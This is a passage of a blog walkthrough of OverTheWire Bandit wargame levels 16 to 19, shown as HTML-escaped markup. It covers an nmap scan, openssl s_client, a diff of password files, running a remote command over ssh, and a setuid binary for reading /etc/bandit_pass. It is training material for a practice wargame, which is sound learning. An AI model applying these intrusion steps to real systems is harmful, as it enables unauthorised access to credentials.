&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;PORT      STATE SERVICE     VERSION&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;31046&#x2F;tcp open  echo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;31518&#x2F;tcp open  ssl&#x2F;echo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;31691&#x2F;tcp open  echo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;31790&#x2F;tcp open  ssl&#x2F;unknown&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;31960&#x2F;tcp open  echo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;1 service unrecognized despite returning data. If you know the service&#x2F;version, please submit the following fingerprint at https:&#x2F;&#x2F;nmap.org&#x2F;cgi-bin&#x2F;submit.cgi?new-service :&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SF-Port31790-TCP:V=7.94SVN%T=SSL%I=7%D=5&#x2F;29%Time=6838CD8E%P=x86_64-pc-linu&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SF:x-gnu%r(GenericLines,32,&amp;quot;Wrong!\x20Please\x20enter\x20the\x20correct\x2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SF:0current\x20password\.\n&amp;quot;)%r(GetRequest,32,&amp;quot;Wrong!\x20Please\x20enter\x&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SF:20the\x20correct\x20current\x20password\.\n&amp;quot;)%r(HTTPOptions,32,&amp;quot;Wrong!\&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SF:x20Please\x20enter\x20the\x20correct\x20current\x20password\.\n&amp;quot;)%r(RTS&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SF:PRequest,32,&amp;quot;Wrong!\x20Please\x20enter\x20the\x20correct\x20current\x20&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SF:password\.\n&amp;quot;)%r(Help,32,&amp;quot;Wrong!\x20Please\x20enter\x20the\x20correct\x&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SF:20current\x20password\.\n&amp;quot;)%r(FourOhFourRequest,32,&amp;quot;Wrong!\x20Please\x2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SF:0enter\x20the\x20correct\x20current\x20password\.\n&amp;quot;)%r(LPDString,32,&amp;quot;W&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SF:rong!\x20Please\x20enter\x20the\x20correct\x20current\x20password\.\n&amp;quot;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SF:%r(SIPOptions,32,&amp;quot;Wrong!\x20Please\x20enter\x20the\x20correct\x20curren&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SF:t\x20password\.\n&amp;quot;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Service detection performed. Please report any incorrect results at https:&#x2F;&#x2F;nmap.org&#x2F;submit&#x2F; .&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Nmap done: 1 IP address (1 host up) scanned in 155.35 seconds&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here we have the same open ports as before, but this time, with some additional version information. You’ll notice that SSL&#x2F;TLS responses were only detected on ports &lt;code&gt;31518&lt;&#x2F;code&gt; with &lt;code&gt;ssl&#x2F;echo&lt;&#x2F;code&gt; and &lt;code&gt;31790&lt;&#x2F;code&gt; with &lt;code&gt;ssl&#x2F;unknown&lt;&#x2F;code&gt;. The &lt;code&gt;ssl&#x2F;echo&lt;&#x2F;code&gt; is just a simple echo service like the others, except that it is served via SSL&#x2F;TLS, which only leaves the remaining &lt;code&gt;ssl&#x2F;unknown&lt;&#x2F;code&gt; service. You can actually see the initial text sent and received by &lt;code&gt;nmap&lt;&#x2F;code&gt; when analyzing port &lt;code&gt;31790&lt;&#x2F;code&gt;. It seems to include several failed password attempts.&lt;&#x2F;p&gt;
&lt;p&gt;Just as in &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirebandit&#x2F;#level-15&quot;&gt;Level 15&lt;&#x2F;a&gt;, we can use the following OpenSSL command to start an SSL&#x2F;TLS connection with our target port.&lt;&#x2F;p&gt;
&lt;p&gt;After the initial connection is established, the program awaits some user input which requires the password to the current level.&lt;&#x2F;p&gt;
&lt;p&gt;Once the password is entered, it’s possible that the service does not immediately reply with the credentials for the next level. As mentioned in the prompt, if there is a response including “DONE”, “RENEGOTIATING”, or “KEYUPDATE” then you may need to check the “CONNECTED COMMANDS” section of the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.openssl.org&#x2F;master&#x2F;man1&#x2F;openssl-s_client&#x2F;&quot;&gt;openssl-s_client&lt;&#x2F;a&gt; manpage.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;CONNECTED COMMANDS (BASIC)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       If  a connection is established with an SSL&#x2F;TLS server then any data received from the server&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       is displayed and any key presses will be sent to the server. If end of file is  reached  then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       the connection will be closed down.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;       When  used  interactively  (which  means  neither  -quiet  nor -ign_eof have been given), and&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;       neither of -adv or -nocommands are given then &amp;quot;Basic&amp;quot; command mode is entered. In  this  mode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;       certain commands are recognized which perform special operations. These commands are a letter&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;       which  must  appear  at the start of a line. All further data after the initial letter on the&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;       line is ignored.  The commands are listed below.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       Q   End the current SSL connection and exit.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       R   Renegotiate the SSL session (TLSv1.2 and below only).&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       C   Attempt to reconnect to the server using a resumption handshake.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;       k   Send a key update message to the server (TLSv1.3 only)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       K   Send a key update message to the server and request one back (TLSv1.3 only)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In my case, I received a “KEYUPDATE” response because the password I used begins with a “k”.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;--- snip ---&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;read R BLOCK&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED LEVEL 15 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;KEYUPDATE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Since I didn’t provide any of the &lt;code&gt;-quiet&lt;&#x2F;code&gt;, &lt;code&gt;-ign_eof&lt;&#x2F;code&gt;, &lt;code&gt;-adv&lt;&#x2F;code&gt;, or &lt;code&gt;-nocommands&lt;&#x2F;code&gt; flags, the connection entered the “Basic” command mode which uses the first character in the next line of input to determine which command to execute.&lt;&#x2F;p&gt;
&lt;p&gt;To prevent this “Basic” mode from clobbering our input we need use one of these flags. For example.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;openssl s_client -connect localhost:31790 -nocommands&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which should return the following.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;--- snip ---&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;read R BLOCK&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED LEVEL 16 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Correct!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-----BEGIN RSA PRIVATE KEY-----&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED RSA KEY]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-----END RSA PRIVATE KEY-----&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;closed&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This time, the service accepts the password and replies with an RSA key to access the next level and closes the connection.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;level-17&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-17&quot; aria-label=&quot;Anchor link for: level-17&quot;&gt;Level 17&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;There are 2 files in the homedirectory: &lt;code&gt;passwords.old&lt;&#x2F;code&gt; and &lt;code&gt;passwords.new&lt;&#x2F;code&gt;. The password for the next level is in &lt;code&gt;passwords.new&lt;&#x2F;code&gt; and is the only line that has been changed between &lt;code&gt;passwords.old&lt;&#x2F;code&gt; and &lt;code&gt;passwords.new&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;NOTE: if you have solved this level and see ‘Byebye!’ when trying to log into bandit18, this is related to the next level, bandit19&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This level wants us to find any &lt;strong&gt;diff&lt;&#x2F;strong&gt;erences between the &lt;code&gt;passwords.old&lt;&#x2F;code&gt; and &lt;code&gt;passwords.new&lt;&#x2F;code&gt; files. One of the recommended commands is &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;linux.die.net&#x2F;man&#x2F;1&#x2F;diff&quot;&gt;diff&lt;&#x2F;a&gt; which has the sole purpose of comparing files line by line and displaying the differences.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s get a diff of our two password files.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ diff passwords.old passwords.new&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;diff&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;42c42&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D65D0E, #C34043);&quot;&gt; C6XNBdYOkgt5ARXESMKWWOUwBeaIQZ0Y&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;---&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #76946A);&quot;&gt; [REDACTED LEVEL 18 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The first line indicates which lines were changed. In this case a change has been identified in line 42 of both files. The lines above the &lt;code&gt;---&lt;&#x2F;code&gt; separator are the changes made in the file that was input as the first argument (&lt;code&gt;passwords.old&lt;&#x2F;code&gt;), while the lines under the &lt;code&gt;---&lt;&#x2F;code&gt; correspond to the second argument (&lt;code&gt;password.new&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;We can see the password for level 18 highlighted in green.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;level-18&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-18&quot; aria-label=&quot;Anchor link for: level-18&quot;&gt;Level 18&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in a file &lt;code&gt;readme&lt;&#x2F;code&gt; in the homedirectory. Unfortunately, someone has modified &lt;code&gt;.bashrc&lt;&#x2F;code&gt; to log you out when you log in with SSH.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;While &lt;code&gt;ssh&lt;&#x2F;code&gt; is primarily used for starting a user shell on a remote host, commands can actually be executed directly without starting a new shell. The SYNOPSIS of the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;linux.die.net&#x2F;man&#x2F;1&#x2F;ssh&quot;&gt;ssh manpage&lt;&#x2F;a&gt; shows the necessary syntax.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SYNOPSIS&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       ssh   [-46AaCfGgKkMNnqsTtVvXxYy]  [-B  bind_interface]  [-b  bind_address]  [-c  cipher_spec]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;           [-D [bind_address:]port] [-E log_file]  [-e  escape_char]  [-F  configfile]  [-I  pkcs11]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;           [-i   identity_file]   [-J  destination]  [-L  address]  [-l  login_name]  [-m  mac_spec]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;           [-O ctl_cmd] [-o option] [-P tag] [-p port] [-R address]  [-S  ctl_path]  [-W  host:port]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;           [-w local_tun[:remote_tun]] destination [command [argument ...]]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;       ssh [-Q query_option]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;After the required &lt;code&gt;destination&lt;&#x2F;code&gt; parameter you can see the optional &lt;code&gt;[command [argument ...]]&lt;&#x2F;code&gt; parameter. Any commands provided here will be executed on the remote host.&lt;&#x2F;p&gt;
&lt;p&gt;So the command to output the password in the remote host’s &lt;code&gt;readme&lt;&#x2F;code&gt; file should look like this.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ ssh bandit18@bandit.labs.overthewire.org cat readme&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                         _                     _ _ _&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                        | |__   __ _ _ __   __| (_) |_&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                        | &amp;#39;_ \ &#x2F; _` | &amp;#39;_ \ &#x2F; _` | | __|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                        | |_) | (_| | | | | (_| | | |_&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                        |_.__&#x2F; \__,_|_| |_|\__,_|_|\__|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                      This is an OverTheWire game server.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            More information on http:&#x2F;&#x2F;www.overthewire.org&#x2F;wargames&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;bandit18@bandit.labs.overthewire.org&amp;#39;s password:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;[REDACTED LEVEL 18 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;This command should be executed from your own system, not from the system hosting Bandit i.e. while logged into one of the previous levels.&lt;&#x2F;p&gt;
&lt;p&gt;I’ve configured my SSH client to automatically use port &lt;code&gt;2220&lt;&#x2F;code&gt; as required for the Bandit wargame which is why I haven’t explicitly provided the port in this example. To do the same, add the following line to your &lt;code&gt;~&#x2F;.ssh&#x2F;config&lt;&#x2F;code&gt; file or provide the port number via the &lt;code&gt;-p&lt;&#x2F;code&gt; flag.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Host bandit.labs.overthewire.org&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;gt; port 2220&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;level-19&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-19&quot; aria-label=&quot;Anchor link for: level-19&quot;&gt;Level 19&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;To gain access to the next level, you should use the &lt;code&gt;setuid&lt;&#x2F;code&gt; binary in the homedirectory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (&lt;code&gt;&#x2F;etc&#x2F;bandit_pass&lt;&#x2F;code&gt;), after you have used the &lt;code&gt;setuid&lt;&#x2F;code&gt; binary.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;First let’s define a few terms.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Term&lt;&#x2F;th&gt;&lt;th&gt;Descriptions&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Real User ID (RUID)&lt;&#x2F;td&gt;&lt;td&gt;The ID of the user which started a process&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Effective User ID (EUID)&lt;&#x2F;td&gt;&lt;td&gt;The ID of the user which defines the privileges of a running process.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Setuid#SUID&quot;&gt;suid permission bit&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;A special file permission bit besides the standard read (r), write (w), and execute (x) that allows a file to be executed as the owner of that file&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;For the &lt;code&gt;bandit20-do&lt;&#x2F;code&gt; permissions the &lt;code&gt;suid&lt;&#x2F;code&gt; bit can be seen as the &lt;code&gt;s&lt;&#x2F;code&gt; in the execute position of the user permissions.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ ls -l&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;total 16&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;-rwsr-x--- 1 bandit20 bandit19 14884 Apr 10 14:23 bandit20-do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The special (suid) permission is set and the owner of the file is &lt;code&gt;bandit20&lt;&#x2F;code&gt;, thus allowing the binary access to resources available to the user &lt;code&gt;bandit20&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;By default, the effective user ID matches the real user ID. However, If you execute the provided binary without any arguments some usage information will be returned.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ .&#x2F;bandit20-do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Run a command as another user.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  Example: .&#x2F;bandit20-do id&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Note that the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;id.1.html&quot;&gt;id&lt;&#x2F;a&gt; command will show the real and effective user and group IDs for the current user’s shell unless provided with an argument. Now, let’s run that example.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ .&#x2F;bandit20-do id&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
